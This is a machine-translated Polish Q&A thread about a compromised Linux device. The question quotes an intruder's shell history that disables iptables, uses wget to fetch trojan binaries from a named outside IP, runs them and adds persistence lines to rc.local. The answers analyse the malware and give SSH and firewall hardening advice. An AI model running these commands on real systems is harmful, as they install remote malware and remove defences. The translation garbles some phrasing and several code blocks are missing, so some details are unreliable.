Zajmuję się tworzeniem produktu konsumenckiego, który powinien być podłączony do Internetu, tak jak się spodziewano, jest podłączony do Internetu, dzięki czemu mogę go odpowiednio rozwijać.
Wyszedłem na godzinę lub dwie, a kiedy wróciłem do swojego biura, zauważyłem dziwne polecenia napisane w terminalu.
Patrząc na plik dziennika Linux o nazwie auth.logWidzę następujące linie (wśród wielu innych):
Feb 1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162 user=root
Feb 1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb 1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]
40.127.205.162Okazuje się, że adres IP jest własnością firmy Microsoft .
Oto kilka poleceń używanych podczas mojej nieobecności:
355 service iptables stop
356 cd /tmp
357 wget http://222.186.30.209:65534/yjz1
358 chmod 0755 /tmp/yjz1
359 nohup /tmp/yjz1 > /dev/null 2>&1 &
360 chmod 777 yjz1
361 ./yjz1
362 chmod 0755 /tmp/yjz1
363 nohup /tmp/yjz1 > /dev/null 2>&1 &
364 chmod 0777 yjz1
365 chmod u+x yjz1
366 ./yjz1 &
367 chmod u+x yjz1
368 ./yjz1 &
369 wget http://222.186.30.209:65534/yjz
370 chmod 0755 /tmp/yjz
371 nohup /tmp/yjz > /dev/null 2>&1 &
372 chmod 777 yjz
373 ./yjz
374 chmod 0755 /tmp/yjz
375 nohup /tmp/yjz > /dev/null 2>&1 &
376 chmod u+x yjz
377 ./yjz &
378 chmod u+x yjz
379 ./yjz &
380 cd /tmp
381 echo "cd /tmp/">>/etc/rc.local
382 service iptables stop
383 cd /tmp
384 wget http://222.186.30.209:65534/yjz1
385 chmod 0755 /tmp/yjz1
386 nohup /tmp/yjz1 > /dev/null 2>&1 &
387 chmod 777 yjz1
388 ./yjz1
389 chmod 0755 /tmp/yjz1
390 nohup /tmp/yjz1 > /dev/null 2>&1 &
391 chmod u+x yjz1
392 ./yjz1 &
393 chmod 0777 yjz1
394 ./yjz1 &
395 echo "cd /tmp/">>/etc/rc.local
396 service iptables stop
397 wget http://222.186.30.209:65534/yjz1
398 chmod 0755 /root/yjz1
399 nohup /root/yjz1 > /dev/null 2>&1 &
400 chmod 777 yjz1
401 ./yjz1
402 chmod 0755 /root/yjz1
403 nohup /root/yjz1 > /dev/null 2>&1 &
404 chmod u+x yjz1
405 ./yjz1 &
406 chmod 0777 yjz1
407 ./yjz1 &
408 echo "cd /root/">>/etc/rc.local
409 cd /tmp
410 service iptables stop
411 wget http://222.186.30.209:65534/yjz1
412 chmod 0755 /tmp/yjz1
413 nohup /tmp/yjz1 > /dev/null 2>&1 &
414 chmod 777 yjz1
415 ./yjz1 &
416 cd /etc
417 echo "cd /root/">>/etc/rc.local
418 echo "./yjz1&">>/etc/rc.local
419 echo "./yjz1&">>/etc/rc.local
420 echo "/etc/init.d/iptables stop">>/etc/rc.local
421 cd /tmp
422 service iptables stop
423 wget http://222.186.30.209:65534/yjz1
424 chmod 0755 /tmp/yjz1
425 nohup /tmp/yjz1 > /dev/null 2>&1 &
426 chmod 777 yjz1
427 ./yjz1 &
428 cd /etc
429 echo "cd /root/">>/etc/rc.local
430 echo "./yjz1&">>/etc/rc.local
431 echo "./yjz1&">>/etc/rc.local
432 echo "/etc/init.d/iptables stop">>/etc/rc.local
433 cd /tmp
434 service iptables stop
435 wget http://222.186.30.209:65534/yjz1
436 chmod 0755 /tmp/yjz1
437 nohup /tmp/yjz1 > /dev/null 2>&1 &
438 chmod 777 yjz1
439 ./yjz1 &
440 cd /etc
441 echo "cd /root/">>/etc/rc.local
442 echo "./yjz1&">>/etc/rc.local
443 echo "./yjz1&">>/etc/rc.local
444 echo "/etc/init.d/iptables stop">>/etc/rc.local
445 service iptables stop
446 wget http://222.186.30.209:65534/yjz1
447 chmod 0755 /root/yjz1
448 nohup /root/yjz1 > /dev/null 2>&1 &
449 chmod 777 yjz1
450 ./yjz1
451 chmod 0755 /root/yjz1
452 nohup /root/yjz1 > /dev/null 2>&1 &
453 chmod 0777 yjz1
454 chmod u+x yjz1
455 ./yjz1 &
456 chmod u+x yjz1
457 ./yjz1 &
I więcej:
481 service iptables stop
482 wget http://222.186.30.209:65534/yjz1
483 chmod 0755 /root/yjz1
484 nohup /root/yjz1 > /dev/null 2>&1 &
485 chmod 777 yjz1
486 ./yjz1
487 chmod 0755 /root/yjz1
488 nohup /root/yjz1 > /dev/null 2>&1 &
489 chmod 0777 yjz1
490 chmod u+x yjz1
491 ./yjz1 &
492 chmod u+x yjz1
493 ./yjz1 &
494 cd /tmp
495 service iptables stop
496 wget http://175.102.133.55:2/yjz
497 ./yd_cd/make
498 service iptables stop
499 service iptables stop
500 wget http://222.186.30.209:65534/yjz1
Byłem całkowicie tego nieświadomy. Jak mogę odpowiednio zabezpieczyć mój produkt?
Chciałbym opublikować cały auth.logplik. W jaki sposób mogę to zrobić?
Ponadto yjz1pobrany plik wydaje się być trojanem Linux, a wszystko to wydaje się być zrobione przez jakąś grupę hakerów zgodnie z http://anti-hacker-alliance.com/index.php?ip=40.127.205.162
Czy powinienem zadzwonić do Microsoft i z nimi porozmawiać? Co powinienem zrobić?
źródło
Odpowiedzi:
EDYCJA 2 :
jest jeden dobry powód, dla którego ten post przyciąga tak wiele uwagi: udało ci się nagrać całą sesję na żywo intruza na komputerze. To bardzo różni się od naszych codziennych doświadczeń, w których zajmujemy się odkryciem konsekwencji jego działań i staramy się je naprawić. Tutaj widzimy go w pracy, widzącego, że ma on problemy z ustanowieniem backdoora, podąża śladami, pracuje gorączkowo (być może dlatego, że siedział przy twoim biurku, jak sugerowano powyżej, a może, moim zdaniem, bardziej prawdopodobne, ponieważ był niezdolny do uruchomienia złośliwego oprogramowania w systemie, przeczytaj poniżej) i spróbuj wdrożyć w pełni samodzielne instrumenty kontroli. Właśnie tego badacze bezpieczeństwa codziennie obserwują za pomocą pułapek na miód . Dla mnie jest to bardzo rzadka szansa i źródło rozrywki.
Na pewno zostałeś zhakowany. Dowody na to nie pochodzą z fragmentu wyświetlanego
auth.logpliku, ponieważ zgłasza to nieudaną próbę zalogowania, występującą w krótkim okresie czasu (dwie sekundy). Zauważysz, że druga linia mówiFailed password, podczas gdy trzecia zgłaszapre-authrozłączenie: facet próbował i nie udało się.Dowody przychodzi zamiast z zawartości dwóch plików
http://222.186.30.209:65534/yjzihttp://222.186.30.209:65534/yjz1które atakujący pobranych do systemu.Witryna jest obecnie dostępna dla wszystkich, aby je pobrać, co zrobiłem. Najpierw
filena nich natknąłem się, co pokazało:Potem przeniosłem je na 64-bitową maszynę wirtualną Debiana, którą posiadam; badanie ich zawartości za pomocą
stringspolecenia ujawniło wiele podejrzanych (odniesienie do różnych dobrze znanych ataków, poleceń, które należy zastąpić, skrypt, który był wyraźnie używany do utworzenia nowej usługi itd.).Następnie utworzyłem skróty MD5 obu plików i podałem je do bazy danych skrótów Cymru, aby sprawdzić, czy są znanymi agentami złośliwego oprogramowania. Chociaż
yjznie jest,yjz1jest, a Cymru zgłasza prawdopodobieństwo wykrycia przez oprogramowanie antywirusowe w wysokości 58%. Wskazuje również, że ten plik był ostatnio widziany jakieś trzy dni temu, więc jest dość nowy.Uruchamianie clamscan (część
clamavpakietu) na dwóch plikach, które uzyskałem:więc jesteśmy teraz pewni, że standardowe oprogramowanie Linux może to zidentyfikować.
Co powinieneś zrobić?
Choć raczej nowy, żaden system nie jest bardzo nowy, zobacz na przykład ten artykuł z XorDdos z stycznia 2015 r . Dlatego większość darmowych pakietów powinna móc je usunąć. Należy starać:
clamav,rkhunter,chkrootkit. Googlowałem wokoło i widziałem, że twierdzą, że potrafią to zauważyć. Użyj ich, aby sprawdzić pracę poprzednika, ale po uruchomieniu tych trzech programów powinieneś być gotowy do pracy.Jeśli chodzi o większe pytanie,
what should you do to prevent future infectionsodpowiedź Czeladnika jest dobrym pierwszym krokiem. Pamiętaj tylko, że jest to ciągła walka, którą wszyscy (łącznie ze mną!) Moglibyśmy przegrać, nawet o tym nie wiedząc.EDYCJA :
Na pytanie (pośrednie) Viktora Totha chciałbym dodać kilka komentarzy. Z pewnością prawdą jest, że intruz napotkał pewne trudności: pobiera dwa różne narzędzia hakerskie, kilkakrotnie zmienia ich uprawnienia, kilkakrotnie uruchamia je ponownie i wiele razy próbuje wyłączyć zaporę. Łatwo zgadnąć, co się dzieje: spodziewa się, że jego narzędzia hakerskie otworzą kanał komunikacyjny w kierunku jednego z zainfekowanych komputerów (patrz później), a gdy nie widzi, że ten nowy kanał wyskakuje na jego kontrolnym interfejsie GUI, obawia się hakowania narzędzie jest blokowane przez zaporę, więc powtarza procedurę instalacji. Zgadzam się z Viktorem Tothem, że ten konkretny etap jego działalności nie wydaje się przynosić oczekiwanych owoców, ale bardzo gorąco zachęcam aby nie lekceważyć zakresu szkód wyrządzonych komputerowi.
Podaję tutaj częściowy wynik
strings yjz1:Dostarcza to dowodów na manipulowanie usługami (wewnątrz
/etc/init.di na zewnątrz/etc/rc.d), zcrontabplikiem historiimysqli kilkoma plikami, wprocktórych znajdują się linki dobash(co sugeruje, że została umieszczona niestandardowa, fałszywa wersja twojej powłoki). Następnie program generuje żądanie HTTP (do strony w języku chińskim,co nadaje treść powyższemu komentarzowi Davida Schwartza), co może doprowadzić do jeszcze większego spustoszenia. W żądaniu pliki binarne (
Content-Type: application/x-www-form-urlencoded) należy pobrać na zaatakowany komputer (GET) i przesłać na komputer sterujący (POST). Nie udało się ustalić, co będzie pobrana do zaatakowanego komputera, ale ze względu na niewielki rozmiar zarównoyjziyjz1(1.1MB i 600KB, repectively), mogę zaryzykować przypuszczenie, że większość plików potrzebnych płaszcz rootkita, czyli zmienionych wersjels,netstat,ps,ifconfig, ..., zostanie pobrana w ten sposób. To by tłumaczyło gorączkowe próby atakującego, aby rozpocząć pobieranie.Nie ma pewności, że powyższe wyczerpuje wszystkie możliwości: z pewnością brakuje nam części transkrypcji (między wierszami 457 i 481) i nie widzimy wylogowania; ponadto szczególnie niepokojące są linie 495–497,
które odnoszą się do pliku, którego nie widzieliśmy pobranego, a które może być kompilacją: jeśli tak, oznacza to, że atakujący (w końcu?) zrozumiał, na czym polegał problem z jego plikami wykonywalnymi i próbuje go naprawić, w którym to przypadku zaatakowany komputer odszedł na dobre. [W rzeczywistości dwie wersje złośliwego oprogramowania, które atakujący pobrał na zhakowaną maszynę (i ja na moją 64-bitową maszynę Debian VM), mają nieodpowiednią architekturę, x86, podczas gdy sama nazwa zaatakowanego komputera ujawnia fakt, że zajmował się architekturą zbrojeń].
Powodem, dla którego napisałem tę edycję, jest nakłanianie cię tak mocno, jak to możliwe, albo do przeczesania systemu profesjonalnym instrumentem, albo do ponownej instalacji od zera.
Nawiasem mówiąc, jeśli okaże się to przydatne dla nikogo, jest to lista 331 adresów IP, z którymi
yjzpróbuje się połączyć. Ta lista jest tak duża (i prawdopodobnie powinna być jeszcze większa), że uważam, że to jest powód do manipulacjimysql. Lista dostarczona przez drugi backdoor jest identyczna, co, jak przypuszczam, jest powodem pozostawienia tak ważnej informacji na zewnątrz ( myślę, że atakujący nie chciał się starać przechowywać ich w formacie jądra, więc umieścił całą listę w pliku tekstowym, który prawdopodobnie jest wczytywany przez wszystkie jego backdoory, dla dowolnego systemu operacyjnego:Poniższy kod
z powyższej listy wynika, że 302 z 331 adresów znajduje się w Chinach kontynentalnych, pozostałe w Hongkongu, Mongolii i na Tajwanie. To stanowi dodatkowe poparcie dla twierdzenia Davida Schwartza, że jest to głównie chiński bot ring.
EDYCJA 3
Na prośbę @ vaid (autor OP, przeczytaj swój komentarz poniżej) dodam komentarz na temat wzmocnienia bezpieczeństwa podstawowego systemu Linux (w przypadku systemu zapewniającego wiele usług jest to o wiele bardziej złożony temat).
vaidstwierdza, że wykonał następujące czynności:To dobrze (z wyjątkiem tego, że używam portu powyżej 10 000, ponieważ wiele przydatnych programów używa portów poniżej 10 000). Ale nie mogę wystarczająco podkreślić potrzeby używania kluczy kryptograficznych do logowania ssh zamiast haseł. Dam ci osobisty przykład. Na jednym z moich VPS nie byłem pewien, czy zmienić port ssh; Zostawiłem go o 22, ale do uwierzytelnienia użyłem kluczy kryptograficznych. Miałem setki prób włamań dziennie , żadna nie powiodła się. Kiedy zmęczony codziennym sprawdzaniem, że nikomu się nie udało, ostatecznie zmieniłem port na coś powyżej 10.000, próby włamania spadły do zera. Pamiętaj, że nie jest tak, że hakerzy są głupi (nie są!), Po prostu polują na łatwiejszą zdobycz.
Łatwo jest aktywować klucz kryptograficzny za pomocą RSA jako algorytmu podpisu, patrz komentarz poniżej Jan Hudec (dzięki!):
Teraz wystarczy skopiować plik
id_rsana maszynę, z której chcesz się połączyć (w katalogu.ssh, równieżchmodedytuj do 700), a następnie wydać polecenieGdy masz pewność, że to działa, edytuj na serwerze (= maszynę, z którą chcesz się połączyć) plik
/etc/ssh/sshd_configi zmień wierszdo
i ponownie uruchom
sshusługę (service ssh restartlubsystemctl restart ssh, lub coś takiego, w zależności od dystrybucji).To bardzo wytrzyma. W rzeczywistości, obecnie nie są znane żadne exploity przeciwko bieżącym wersjom
openssh v2RSA i używanym przezopenssh v2.Wreszcie, aby naprawdę zablokować komputer, musisz skonfigurować zaporę (netfilter / iptables) w następujący sposób:
To, 1) pozwala na połączenia ssh zarówno z sieci LAN, jak i WAN, 2) zezwala na wszystkie dane pochodzące z twoich żądań (na przykład podczas ładowania strony internetowej), 3) upuszcza wszystko inne na wejściu, 4) zezwala na wszystko wyjście i 5-6) pozwala na wszystko w interfejsie sprzężenia zwrotnego.
W miarę wzrostu potrzeb i otwierania kolejnych portów możesz to zrobić, dodając na górze listy reguły takie jak:
aby na przykład umożliwić dostęp do przeglądarki internetowej.
źródło
yjz1przez Googles VirusTotal.com, co dało wynik pozytywny. Nawet nie widziałem, żeyjzzostał pobrany. Dzięki.stringsna niezaufane dane. lcamtuf.blogspot.com/2014/10/…ls,whoczy cokolwiek innego. „Ratowanie danych” przy użyciu dowolnego pliku wykonywalnego w zainfekowanym systemie (np.scpLubrsync) może zagrozić jeszcze większej liczbie komputerów.Witamy w Internecie - gdzie każdy otwarty serwer SSH najprawdopodobniej zostanie sondowany, brutalnie przymusowy i obciążony nim będzie różne obelgi.
Aby rozpocząć, musisz całkowicie wyczyścić pamięć urządzenia. Wyobraź go, jeśli chcesz przekazać go do celów kryminalistycznych, ale instalacja Linuksa na nim jest teraz podejrzana.
Trochę zgadywania, ale
Masz brutalną siłę lub używasz wspólnego hasła. Jest to bezpieczeństwo ukryte, ale nie chcesz hasła do słownika ani konta root otwartego na SSH. Wyłącz dostęp root SSH, jeśli jest to opcja, lub przynajmniej zmień nazwę, aby musieli zgadnąć jedno i drugie. SSHing jako root jest okropną praktyką bezpieczeństwa. Jeśli musisz użyć roota, zaloguj się jako inny użytkownik i użyj przełącznika su lub sudo.
W zależności od produktu możesz w jakiś sposób zablokować dostęp SSH. Całkowite zablokowanie brzmi jak dobry pomysł i pozwala użytkownikom otworzyć go w razie potrzeby . W zależności od tego, jakie zasoby możesz oszczędzić, rozważ tylko dopuszczanie adresów IP we własnej podsieci lub pewnego rodzaju system ograniczający logowanie. Jeśli nie potrzebujesz go na produkcie końcowym, upewnij się, że jest wyłączony.
Użyj niestandardowego portu. Zabezpieczenia znów są niejasne, ale oznacza to, że atakujący musi celować w twój port.
Nigdy nie używaj domyślnego hasła. Najlepszym podejściem, jakie widziałem, jest losowe wygenerowanie hasła do określonego urządzenia i wysłanie go ze swoim produktem. Najlepszą praktyką jest uwierzytelnianie oparte na kluczach, ale nie mam pojęcia, jak podejdziesz do tego w przypadku produktu na rynku masowym.
źródło
Och, zdecydowanie zostałeś zhakowany. Wygląda na to, że ktoś był w stanie uzyskać poświadczenia root i próbował pobrać trojana do twojego systemu. MariusMatutiae przedstawił analizę ładunku.
Powstają dwa pytania: a) Czy napastnik odniósł sukces? I b) co możesz z tym zrobić?
Odpowiedź na pierwsze pytanie może być przecząca. Zauważ, że atakujący wielokrotnie próbuje pobrać i uruchomić ładunek, najwyraźniej bez powodzenia. Podejrzewam, że coś (SELinux, być może?) Stanęło mu na drodze.
JEDNAK: Osoba atakująca zmieniła również
/etc/rc.d/rc.localplik, mając nadzieję, że po ponownym uruchomieniu systemu ładunek zostanie aktywowany. Jeśli nie uruchomiłeś jeszcze systemu, nie uruchamiaj go ponownie, dopóki nie usuniesz tych zmian/etc/rc.d/rc.local. Jeśli już go zrestartowałeś ... cóż, pecha.Co możesz z tym zrobić: Najbezpieczniej jest wyczyścić system i zainstalować go od nowa. Ale nie zawsze może to być opcja. Znacznie mniej bezpieczną rzeczą jest dokładnie przeanalizować, co się wydarzyło, i wyczyść każdy jej ślad, jeśli możesz. Ponownie, jeśli jeszcze nie zrestartowałeś systemu, być może wystarczy, że wyczyścisz
/etc/rc.d/rc.local, usuniesz wszystko, co pobiera atakujący, i na koniec zmień cholerne hasło!Jeśli jednak osoba atakująca była już w stanie uruchomić ładunek, mogą wystąpić inne modyfikacje systemu, które mogą być trudne do wykrycia. Dlatego pełne czyszczenie jest naprawdę jedyną bezpieczną (i zalecaną) opcją. Jak wskazałeś, przedmiotowy sprzęt może być celem testowania / rozwoju, więc być może wycieranie go nie jest tak bolesne, jak w innych przypadkach.
Aktualizacja : Niezależnie od tego, co napisałem o możliwym odzyskaniu, pragnę powtórzyć bardzo silną rekomendację Marius Matutiae, aby nie lekceważyć potencjalnych szkód spowodowanych przez ten ładunek i zakresu, w jakim mógł on zagrozić systemowi docelowemu.
źródło
Mój sshd-honeypot również widział tego rodzaju atak. Pierwsze pobieranie z tego adresu URL rozpoczęło się 29.01.2016, 10:25:33 i ataki wciąż trwają. Ataki pochodzą / pochodziły z
Dane wejściowe od tych atakujących były następujące:
Więc nie ma żadnych działań poza instalowaniem backdoora na później.
źródło
Wszyscy tutaj udzielali solidnych porad, ale dla jasności, twoimi priorytetami powinno być tworzenie kopii zapasowych i weryfikacja tego, czego naprawdę potrzebujesz z tego systemu, a następnie wycieranie go świeżą instalacją ze znanych, bezpiecznych mediów.
Przed podłączeniem nowo zainstalowanego hosta do Internetu zapoznaj się z następującymi pomysłami:
Utwórz nowego użytkownika innego niż root i zaloguj się jako ten użytkownik. Nigdy nie powinieneś logować się jako root, po prostu sudo (użytkownik zastępczy) w razie potrzeby.
Zainstaluj SE Linux, ustawienia konfiguracji umożliwiające obowiązkową kontrolę dostępu: https://wiki.debian.org/SELinux/Setup
Rozważ zaporę sprzętową między biurem / domem a Internetem. Używam MicroTik, który ma doskonałe wsparcie społeczności: http://routerboard.com/ .
Zakładając, że jesteś na osi czasu do ukończenia swojej płatnej pracy, przynajmniej wykonaj nr 1. # 3 jest szybki i tani, ale albo musisz poczekać na paczkę pocztą, albo pojechać do sklepu.
źródło
Czy debian-armhf to Twoja nazwa hosta? Czy używasz domyślnej instalacji z domyślnymi ustawieniami? Nie ma z tym problemu, ale nie należy zezwalać hostowi na bezpośrednią ekspozycję na Internet (tj. Przynajmniej nie chronioną przez modem).
Wygląda na to, że prawdziwy problem pochodzi z 222.186.30.209 (patrz http://anti-hacker-alliance.com/index.php?ip=222.186.30.209 ). Nie powinieneś uważać na adres IP Microsoftu. Adresy IP można mniej więcej sfałszować / sfałszować.
Typowym sposobem połączenia z Internetem jest przekazanie znanej listy portów z publicznego adresu IP (np. 8.8.8.8) do lokalnego (np. 192.168.1.12).
Na przykład nie przesyłaj wszystkich połączeń przychodzących z wersji 8.8.8.8 (publicznej) do 192.168.1.12 (lokalnej).
Przekaż tylko porty 22 i 25 (odpowiednio ssh i poczta przychodząca). Powinieneś oczywiście mieć również aktualne pakiety / biblioteki ssh i smtp .
Co dalej? Odłączyć hosta, a następnie zmienić hasło (na wszystkich komputerach związanych z organizacją), które są sztywno w skryptów powłoki (wstydź się!) W
/etc/shadow.źródło
Jak powiedzieli inni, jest całkiem jasne, że bezpieczeństwo twojego serwera zostało naruszone. Najbezpieczniej jest wyczyścić to urządzenie i zainstalować ponownie.
Aby odpowiedzieć na drugą część pytania, jeśli nie możesz użyć autoryzacji klucza publicznego, zalecam przynajmniej skonfigurowanie Fail2Ban i uruchomienie SSH na niestandardowym porcie. Wyłączam także dostęp root SSH.
Fail2Ban pomoże złagodzić ataki siłowe, zakazując adresów IP, które nie logują się określoną liczbę razy.
Ustawienie sshd na nasłuch na niestandardowym porcie przynajmniej pomoże nieco zmniejszyć widoczność twojego serwera SSH. Wyłączenie logowania użytkownika root również nieznacznie zmniejsza profil ataku. W
/etc/sshd_config:Przy wyłączonym logowaniu do roota będziesz musiał albo przełączyć się na root
supo podłączeniu, albo (bardziej korzystnie) użyćsudodo wykonania uprzywilejowanych poleceń.źródło
Serwery SSH są stale atakowane w Internecie. Kilka rzeczy, które robisz:
Upewnij się, że używasz bardzo bezpiecznego losowego hasła do maszyn dostępnych w Internecie. Mam na myśli co najmniej 16 znaków i całkowicie losowy. Użyj menedżera haseł, abyś nie musiał go zapamiętywać. Jeśli możesz zapamiętać hasło, jest to zbyt proste.
Jeśli nie potrzebujesz SSH, wyłącz go. Jeśli go potrzebujesz, ale nie potrzebujesz go publicznie, uruchom go na wysokim, niestandardowym numerze portu. Takie postępowanie znacznie ograniczy próby włamań. Tak, dedykowany haker może wykonać skanowanie portów, ale automatyczne roboty nie mogą go znaleźć.
Fragment z dziennika uwierzytelnienia pokazuje nieudaną próbę. Jeśli jednak spojrzysz dalej, bez wątpienia zobaczysz udane logowanie. Używasz prostego hasła, więc bot może się zalogować.
Musisz odizolować to urządzenie od sieci. Bardzo ostrożnie wyjmij z niego to, czego potrzebujesz, a następnie wytrzyj.
źródło
Pierwszą rzeczą, którą każdy powinien zrobić po skonfigurowaniu frontowego serwera Linux / Unix, jest natychmiastowe wyłączenie
root.Twój system został przejęty. Masz działający dziennik historii, który może być fajny do pewnego stopnia. Ale uczciwe analizowanie szczegółów jest nieco wybredne i nie pomoże ci zabezpieczyć twojego serwera. Pokazuje wszelkiego rodzaju bzdury, które mają miejsce, gdy botnet odradza złośliwe oprogramowanie - najprawdopodobniej to, co zainfekowało twój serwer - infekuje system Linux. Odpowiedź udzielana przez @MariusMatutiae jest ładny i dobrze przemyślane i są inni, którzy powtarzają, że zostały hacked poprzez
rootdostęp która jest mokry sen Malware / botnetu.Istnieje kilka wyjaśnień, jak wyłączyć,
rootale opowiem o tym z własnego doświadczenia, większość wszystkiego, co wykracza poza to, co teraz opiszę, to przesada. Oto, co powinieneś zrobić przy pierwszej konfiguracji serwera:sudouprawnieniami: Utwórz nowego użytkownika o nowej nazwie - coś w rodzajucooldude- za pomocą polecenia takiego jak wsudo adduser cooldudeprzypadku Ubuntu lub innego rodzaju systemu Debian. Następnie po prostu ręcznie edytujsudoplik za pomocą takiego poleceniasudo nano /etc/sudoersi dodaj linię podobnącooldude ALL=(ALL:ALL) ALLdo linii równoważnej, którą należy przeczytaćroot ALL=(ALL:ALL) ALL. Po wykonaniu tej czynności zaloguj się jakocooldudei przetestujsudopolecenie za pomocą polecenia typu „sudo wcoś podstawowego i nieniszczącego”, aby sprawdzić, czysudoprawa działają. Może pojawić się monit o podanie hasła. To działa? Wszystko dobrze! Przejdź do następnego kroku.rootkonto: OK, terazcooldudejest to związane zsudoprawami, zaloguj się jakocooldudei uruchom to polecenie, aby zablokować konto rootsudo passwd -l root. Jeśli w jakiś sposób utworzyłeś parę kluczy SSHroot, otwórz/root/.ssh/authorized_keysi wyjmij klucze. Lub jeszcze lepiej, po prostu zmień nazwę tego pliku wauthorized_keys_OFFten sposób,sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFFaby skutecznie wyłączyć klucze SSH. Wolę później, ponieważ w przypadku braku dostępu nadal potrzebujesz hasła bez logowania, możesz po prostu przenieść ten plik z powrotem do pierwotnej nazwy i powinieneś iść.FWIW, zarządzałem dziesiątkami serwerów Linux na przestrzeni lat (dekad?) I wiem z doświadczenia, że po prostu wyłączenie
root- i skonfigurowanie nowego użytkownika zsudouprawnieniami - jest najprostszym i najbardziej podstawowym sposobem zabezpieczenia dowolnego systemu Linux. Nigdy nie miałem do czynienia z żadnym rodzajem kompromisu za pośrednictwem protokołu SSH, gdyrootjest on wyłączony. I tak, możesz zobaczyć próby zalogowania się,auth.logale są one bez znaczenia; jeślirootjest wyłączone, wówczas próby te nigdy się nie sumują. Usiądź wygodnie i patrz, jak próby bez końca się kończą!źródło